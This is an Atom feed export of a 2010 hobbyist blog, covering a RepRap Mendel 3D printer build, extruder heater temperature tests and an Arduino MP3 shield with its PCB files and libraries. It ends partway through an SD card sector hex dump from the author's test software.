<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-14888785</id><updated>2011-12-14T03:57:22.456Z</updated><category term='arduino'/><category term='logging'/><category term='scripting'/><category term='mendel'/><category term='thunderbird fix'/><category term='terminal'/><category term='periodic'/><category term='shield'/><category term='teachers timer electronics projects diy howto avr'/><category term='mp3'/><category term='vim'/><category term='pcbs'/><category term='battery'/><category term='reprap'/><category term='cron'/><category term='bash'/><category term='osx'/><title type='text'>Stuff, things and junk</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>90</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-14888785.post-72297363792034632</id><published>2010-05-03T19:09:00.003+01:00</published><updated>2010-05-03T19:12:17.211+01:00</updated><title type='text'>The blog has moved!</title><content type='html'>I've decided to migrate from Blogspot.com and Blogger to &lt;a href="http://www.wordpress.org/"&gt;Wordpress&lt;/a&gt; on my main web page at http://www.brokentoaster.com/&lt;br /&gt;&lt;br /&gt;You can find the new blog at &lt;a href="http://www.brokentoaster.com/blog/"&gt;http://www.brokentoaster.com/blog/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The RSS feed is at &lt;a href="feed://www.brokentoaster.com/blog/?feed=rss2"&gt;feed://www.brokentoaster.com/blog/?feed=rss2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apologies for any inconvenience this may cause.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-72297363792034632?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/blog/' title='The blog has moved!'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/72297363792034632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=72297363792034632' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/72297363792034632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/72297363792034632'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/05/blog-has-moved.html' title='The blog has moved!'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1696804325060077193</id><published>2010-04-24T12:49:00.003+01:00</published><updated>2010-04-24T12:50:49.451+01:00</updated><title type='text'>Back in the UK</title><content type='html'>Just got back to the UK after a volcano related extension to my holiday in NZ. I've also fixed the EAGLE files link for the Arduino MP3 player shield  mentioned in t&lt;a href="http://stuffthingsandjunk.blogspot.com/2010/02/arduino-mp3-rev-b-v00.html"&gt;his earlier blog post&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1696804325060077193?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://stuffthingsandjunk.blogspot.com/2010/02/arduino-mp3-rev-b-v00.html' title='Back in the UK'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1696804325060077193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1696804325060077193' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1696804325060077193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1696804325060077193'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/04/back-in-uk.html' title='Back in the UK'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6930795896633944511</id><published>2010-03-30T19:50:00.003+01:00</published><updated>2010-03-31T16:55:10.622+01:00</updated><title type='text'>reprap first print! - video</title><content type='html'>&lt;object width="480" height="295"&gt;&lt;param name="movie" value="http://www.youtube.com/v/m7bduDes_Ks&amp;hl=en_US&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/m7bduDes_Ks&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="400" &gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6930795896633944511?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6930795896633944511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6930795896633944511' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6930795896633944511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6930795896633944511'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/03/reprap-first-print-video.html' title='reprap first print! - video'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6350878130630454140</id><published>2010-03-27T19:47:00.002Z</published><updated>2010-03-27T21:07:49.465Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='reprap'/><category scheme='http://www.blogger.com/atom/ns#' term='mendel'/><title type='text'>Reprap first print!</title><content type='html'>&lt;a href="http://www.flickr.com/photos/nicklott/4467749394/" title="Mendel lives by Brokentoaster, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2622/4467749394_b320d28230_m.jpg" width="240" height="177" alt="Mendel lives" /&gt;&lt;/a&gt;&lt;a href="http://www.flickr.com/photos/nicklott/4466974157/" title="Reprap Steper motor driver by Brokentoaster, on Flickr"&gt;&lt;img src="http://farm3.static.flickr.com/2486/4466974157_75eab33ecf_m.jpg" width="240" height="180" alt="Reprap Steper motor driver" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After four months of soldering and mucking about with screws and metal things I finally have a working 3D printer. &lt;br /&gt;&lt;br /&gt;This was built using &lt;a href="http://makerbot.com"&gt;Makerbot&lt;/a&gt; electronics and aluminium versions of the printed parts. I will publish the drawings of the machined parts as soon as I have 1) tidied them up, 2) fixed the mistakes I put on them and 3) confirmed the design actually works. I made a few changes from the designs released in November in order to make them machine-able, but for the most part they are true to the original designs and taken from the STEP files or the STL files converted back into CAD files.&lt;br /&gt;&lt;br /&gt;I've deliberately mounted the electronics in an open fashion on standoffs on an aluminium base plate to facilitate testing as I plan to improve and refine  the design.  I'd like to improve the electronics, PCB design and location of boards with an eye towards EMC and proper shielding, but for moment they are open to allow scope and multimeter access. I hope to tidy up all the cables into tidy looms and things a bit once I'm happier with the performance and reliability. I had an opto-interrupter board fail on me which resulted in a couple of crashes so I've temporarily replaced them with some very cheap push buttons. Probably a short circuit on the veroboard versions I built up, that'll teach me for being too cheap to pay $1 for a decent PCB.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/nicklott/4467753016/" title="Repraped Lego brick by Brokentoaster, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4008/4467753016_4f925bfb7b_m.jpg" width="180" height="240" alt="Repraped Lego brick" /&gt;&lt;/a&gt; &lt;a href="http://www.flickr.com/photos/nicklott/4467754960/" title="gear, brick and gear by Brokentoaster, on Flickr"&gt;&lt;img src="http://farm5.static.flickr.com/4017/4467754960_c7dce6aaf4_m.jpg" width="240" height="160" alt="gear, brick and gear" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I am reasonably happy with these prints as a first attempt. I think I really need to tweak the settings and the operation of the extruder to get things working better. (The part designs are from &lt;a href="http://www.thingiverse.com/thing:1336"&gt;Thingiverse parametric spur gears&lt;/a&gt;, &lt;a href="http://www.thingiverse.com/thing:591"&gt;Thingiverse parametric Lego block&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;I'm quite glad to notice the latest version of host software is functioning on OS X, it saves me having to boot up windows every time I want to print. I say functioning and not working as it doesn't quite fit all the controls on the screen nicely and does odd things every now and then. But it is better than it was a couple of months ago and so it is looking good for the future.&lt;br /&gt;&lt;br /&gt;Sadly I'm off home to NZ for a few weeks so wont get a decent chance to to get it all going properly till the end of the month. On the other hand the software may have moved forward another step by then as well and I might even take the time to read the instructions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6350878130630454140?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6350878130630454140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6350878130630454140' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6350878130630454140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6350878130630454140'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/03/reprap-first-print.html' title='Reprap first print!'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2622/4467749394_b320d28230_t.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6130914348930916020</id><published>2010-02-15T22:31:00.005Z</published><updated>2010-02-15T23:17:34.866Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='shield'/><category scheme='http://www.blogger.com/atom/ns#' term='mp3'/><category scheme='http://www.blogger.com/atom/ns#' term='pcbs'/><title type='text'>Arduino MP3 Rev B v0.0</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/images/ardmp3reva.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; height: 150px;" src="http://www.brokentoaster.com/images/ardmp3reva.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Last week I managed to have some luck with my Arduino MP3 shield. The big hold up was caused by not having enough power from the FT232RL chip to supply the decoder and the memory card at the same time (50mA max d-oh). I also had a software issue, I had not altered the code to deal with the 16Mhz clock speed of the arduino from the 8Mhz I was using on the ButterflyMP3 project. The SPI clock was running at 8Mhz where it needed to be slower than 6MHz (to comply with the VS1011E datasheet). Once I had that sorted everything just popped into place and started working reliably. &lt;br /&gt;&lt;br /&gt;I apologise in advance for the poor integration of the library examples. I have simply and quite roughly ported the minimal parts of my buterflymp3 project over to the arduino and this hardware. The examples will test reading FAT16 file system on the MMC/SD card, test the VS1011E decoder chip, and play the first mp3 file found on the memory card. I hope to get these tidied up later but have not had any time to do so lately.&lt;br /&gt;&lt;br /&gt;The PCB has not actually been tested yet so I'd hold off building a million of these until after a successful test. There is unlikely to be much wrong with it though as I have simply added a voltage regulator and re routed a couple of signals to fix my earlier mistakes.  ( I'd forgotten that I/O lines 0 and 1 are used by the uart on the arduino)&lt;br /&gt;&lt;br /&gt; I have embedded the BOM below. ( The bom is &lt;a href="http://spreadsheets.google.com/pub?key=tFEBvN-LjONcA9UQbGKo7sw&amp;output=html"&gt;here&lt;/a&gt; if you don't see it below)&lt;br /&gt;&lt;iframe width='500' height='300' frameborder='0' src='http://spreadsheets.google.com/pub?key=tFEBvN-LjONcA9UQbGKo7sw&amp;output=html&amp;widget=true'&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Here are all the files so far. These are all released under a Creative Commons 2.5 license .&lt;br /&gt;&lt;br /&gt;&lt;a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_eagle.zip"&gt;EAGLE files are here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_gerbers.zip"&gt;GERBER files are here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_library.zip"&gt;Arduino Library files are here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://brokentoaster.com/arduinomp3/files/arduinoMP3_schem.pdf"&gt;PDF of the schematic is here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To use the library simply put the "mp3" folder from the zip file inside the "libraries" folder in your arduino folder (create one if it doesn't exist). Restart Arduino 018 or later and you should have "mp3" entries in the menus under examples and import libraries.&lt;br /&gt;&lt;br /&gt;The BOM references a 2.8V LDO voltage regulator but the schematic shows a 3.3V. Either will work fine but the 2.8 will give you slightly lower power usage.&lt;br /&gt;&lt;br /&gt;If you are interested in PCBs or kits, drop me a line at &lt;i&gt;&lt;b&gt;buy_pcbs@brokentoaster.com&lt;/b&gt;&lt;/i&gt; &lt;br /&gt;As always any comments, suggestions or ideas are welcome.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6130914348930916020?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6130914348930916020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6130914348930916020' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6130914348930916020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6130914348930916020'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/02/arduino-mp3-rev-b-v00.html' title='Arduino MP3 Rev B v0.0'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6214782554771029837</id><published>2010-01-20T17:51:00.006Z</published><updated>2010-01-20T18:44:42.041Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='reprap'/><category scheme='http://www.blogger.com/atom/ns#' term='mendel'/><title type='text'>Reprap extruder heater</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/extruder-heater.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; height: 150px;" src="http://brokentoaster.com/mendel/extruder-heater_TN.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/extruder-heater-closeup.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:left;cursor:pointer; cursor:hand;height: 150px;" src="http://brokentoaster.com/mendel/extruder-heater-closeup_TN.JPG" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My cheap polymide tape arrived from Hong-Kong yesterday so I was able to get the heater built on the extruder for the reprap.  No problems with the construction of the heater itself, although after running some tests I discovered the thermistor I had chosen  is only rated to 155 degreees Celcius. I obviously wasn't looking very hard when I ordered it or perhaps it was just the fact that it was one tenth the cost of a more suitable device that convinced me to buy it. I should have a new thermistor in this week and replace this one.&lt;br /&gt;&lt;br /&gt;Before going too far with my heater I wanted to test the system and check that the temperature measured was accurate. I ran three sets of tests. Using the &lt;a href="http://www.brokentoaster.com/butterflylogger/"&gt;Butterfly Logger&lt;/a&gt; with some DS18B20's and a SHT71 I logged the temperature of the barrel at the edge of the extruder (see close up above). The SHT-71 was used to monitor the extruder temperature with the DS18B20's monitoring ambient. The first test was logged at 10 second intervals with the later two logged each second. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;TEST 1&lt;/b&gt;&lt;br /&gt;The first test was a 0.2 deg C/s ramp from near ambient up to 75 deg C and then a step change to 100 deg C and then passive cooling. This is shown in the plot below. The period of 10 seconds seemed too slow to give me a good idea of the stability so n the following tests it was decreased to 1 second. This did show rough correlation between the set temperatures and the measured temperatures although not really as accurate as I had hoped.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest1.txt.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest1.txt.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TEST 2&lt;/b&gt;&lt;br /&gt;This test was a controlled ramp of 0.2 deg C/s from near ambient up to 100 deg C. After holding at 100 deg C the system is passively cooled to 50 deg C. The system holds at 50 deg C momentarily before being given a step change to 100 deg C, after which the system is allowed to cool to ambient.&lt;br /&gt; The better time resolution allows the system stability to be better assessed. The system looks reasonably stable at the 100 deg hold mark. Here it is cycling around 5 deg around  the set point. The 'stable' temperature is slowly rising which I attribute to the thermal mass of the barrel and thermal barrier warming up. It is not 100 deg C as it is not measuring at the same point where the control thermistor is measuring.  Looking at this initially lead me to check the characteristics of the thermistor I was using and is what lead me to discover that it was only rated at 155 deg C. In checking the data sheet I also noticed a diference in the Beta value fromt he look up table used in the extruder firmware. I recalculated the look up table accordingly and repeated the tests in test 3.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest2.txt.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest2.txt.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TEST 3&lt;/b&gt;&lt;br /&gt;This was a repeat of the previous tests with the new lookup table ( Beta = 4400).  This seemed to give a ramp rate twice of what was programmed (0.45 deg C/s compared to 0.2 deg C/s). The temperatures seemed hotter which is expected given the change in thermistor table for the control firmware. &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/heatertest3.txt.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand; width: 400px;" src="http://brokentoaster.com/mendel/heatertest3.txt.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The next test will of course be to see how the system performs when loaded i.e. extruding some plastic.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6214782554771029837?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6214782554771029837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6214782554771029837' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6214782554771029837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6214782554771029837'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/01/reprap-extruder-heater.html' title='Reprap extruder heater'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-8613249067196971620</id><published>2010-01-17T21:02:00.007Z</published><updated>2010-02-23T18:11:33.896Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='reprap'/><category scheme='http://www.blogger.com/atom/ns#' term='mendel'/><title type='text'>Reprap Electronics build</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/mendel/elec_test.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;height: 150px;" src="http://brokentoaster.com/mendel/elec_test.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I ran out of time this weekend to get anything done on the MP3 shield or the MLMC projects. I did however manage to find time to solder up the electronics for my reprap I'm building. After a couple of hitches I also got the firmware on and up and running.I had to download the latest from SVN else I got a clash between the stepper-motor drivers and the servo motor drivers in the firmware for the extruder.&lt;br /&gt;&lt;br /&gt;I built the mother board to use a standard PC power connector even though I'm building a reprap. It just seemed silly to power this PCB via USB and then rig the power-supply to power all the other boards. I temporarily used the USB 5V to power the PCB via a pin on the JTAG connector during programming the firmware. Before the firmware on the mother board was programmed the PC PSU wouldn't fire up so I needed a temporary power supply.&lt;br /&gt;&lt;br /&gt;I managed to test the extruder board with some test software I found at &lt;a href="http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside....29"&gt;http://objects.reprap.org/wiki/Microcontroller_Firmware_Hints#Driving_Steppers_with_the_Extruder_Controller_V2.2_.28Arduino_inside....29&lt;/a&gt;. But I haven't managed to get it working through the mendel firmware via the host software yet. The thermistor was working so I know the RS485 link is functioning properly. Probably just a configuration.h option I've over looked.&lt;br /&gt;&lt;br /&gt;It took a couple of hours to get the three boards all soldered up and tested. I'll post more when I have more done. I'll probably be focusing on the mechanical side of building the Cartesian robot for now so not much electronics left to do, although I still have the firmware to sort through...&lt;br /&gt;&lt;br /&gt;&lt;i&gt;[EDIT] It turns out that  I had overlooked the I2C connection between the motherboard and the extruder board. I should really have read the instruction.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-8613249067196971620?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/8613249067196971620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=8613249067196971620' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8613249067196971620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8613249067196971620'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/01/reprap-electronics-build.html' title='Reprap Electronics build'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-999978824270342995</id><published>2010-01-05T20:12:00.006Z</published><updated>2010-01-05T22:42:24.320Z</updated><title type='text'>New PCBs in from BatchPCB</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/images/ardmp3reva.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand; height: 150px;" src="http://www.brokentoaster.com/images/ardmp3reva.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;My order of PCBs from BatchPCB arrived the week before Christmas so plenty of soldering and things to keep me busy over the holiday. I've also been distracted of late with building a &lt;a href="http://www.reprap.org"&gt;reprap&lt;/a&gt;, although I've not got much further than amassing a number of PCBs, components and motors, watch this space for details as the build progresses.&lt;br /&gt;&lt;br /&gt;My Batch PCB contained a new version of the Arduino MP3 board with provision for running from the 5V Duemilanove Arduino and a number of MLMC boards so I can string them together for testing. Unfortunately the ArduinoMP3 PCB  had a couple of design errors, which is typical when your working on a design off and on over a course of months. The design will probably be released soon, but the libraries and demo code are also proving slightly more difficult.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Some changes to Hardware.&lt;/b&gt;&lt;br /&gt;The basic design of the board is the same, VS1011 and SD card shared on the SPI bus with a 5 way Joystick on some digital lines.&lt;br /&gt;&lt;br /&gt;I forgot about the TX/RX lines being shared with digital 0 and 1 on the arduino so I've had to re-route signals using those pins to the previously unused analog/general IO pins. &lt;br /&gt;&lt;br /&gt;A couple of changes related to running the circuits on a 5V / 3V3 system. My Butterfly MP3 system that I based this on was powered from a single supply rail of 2.8V. The FTDI USB  chip on the arduino was originally used to provide a 3V3 supply to the shield. I thought the 50 mA stated in the data sheet would be enough as my butterfly mp3 system only used about 50mA including processor and display. Unfortunately the is a large current draw when an SD Card is inserted causing the FTDI chip to reset and breaking connection with the PC. Although not a big problem I decided to add an LP2981 LDO regulator to supply a 100mA   for the card and MP3 player circuits. If you don't want to use this then you can not fit the parts and easily bypass with a jumper wire.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;C++ing the libraries&lt;/b&gt;&lt;br /&gt;I was hoping to use the existing libraries for the Arduino and SD cards to access the MMC/SD Cards and provide demo code to show using the shield. For an as yet unknown reason the existing libraries from Adafruit wave shield do not work. In order to test my hardware I have converted my MMC and FAT libraries from the ButterflyMP3 project to C++ for use with the Arduino system. I few teething problems and issues as I remember how C++ works and I now have a working SD Card system. Output from my current software is shown below&lt;br /&gt;&lt;br /&gt;I'd like to use the already available libraries as they offer FAT32 and extended features over my bare bones implementation - so not quite ready to publish any finished code just yet. &lt;br /&gt;&lt;br /&gt;Next step is adding the support for the VS1011. Again not quite as smooth as I'd hopped but moving along with the help of the old &lt;em&gt;intronix logic port&lt;/em&gt;. Currently the VS1011 is not setting up correctly. Occasionally it plays OK but mostly nothing or a very slow version of a song, indicating to me the clock registers are not being set correctly. &lt;br /&gt;&lt;br /&gt;I think another weekend or so of work and I'll be there but if you'd like a copy of the current PCBs or Arduino files then just drop me an email or leave a comment.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Current Demo Software Terminal Output&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;TEST&lt;br /&gt;0&lt;br /&gt;MMC_RESET returned 0&lt;br /&gt;MMC_SEND_STATUS returned 0&lt;br /&gt;MMC_SEND_CID returned 0&lt;br /&gt;0: FE 02 54 4D 53 44 30 31 47 28 9A CF 7B 33 00 7A ..TMSD01G(...3.z&lt;br /&gt;1: 83 08 8E FF FF FF FF FF FF FF FF FF FF FF FF FF ................&lt;br /&gt;MMC_SEND_CSD returned 0&lt;br /&gt;0: FE 00 2D 00 32 5B 59 83 D6 7E FB FF 80 16 40 00 ..-.2[Y.......@.&lt;br /&gt;1: FB 5E C9 FF FF FF FF FF FF FF FF FF FF FF FF FF .^..............&lt;br /&gt;MMC_Capacity returned 1037952&lt;br /&gt;MMC_Name returned 0 SD01G(&lt;br /&gt;MMC_Read returned 0&lt;br /&gt;MMC First Sector: &lt;br /&gt;0: FA 33 C0 8E D0 BC 00 7C 8B F4 50 07 50 1F FB FC .3........P.P...&lt;br /&gt;1: BF 00 06 B9 00 01 F2 A5 EA 1D 06 00 00 BE BE 07 ................&lt;br /&gt;2: B3 04 80 3C 80 74 0E 80 3C 00 75 1C 83 C6 10 FE 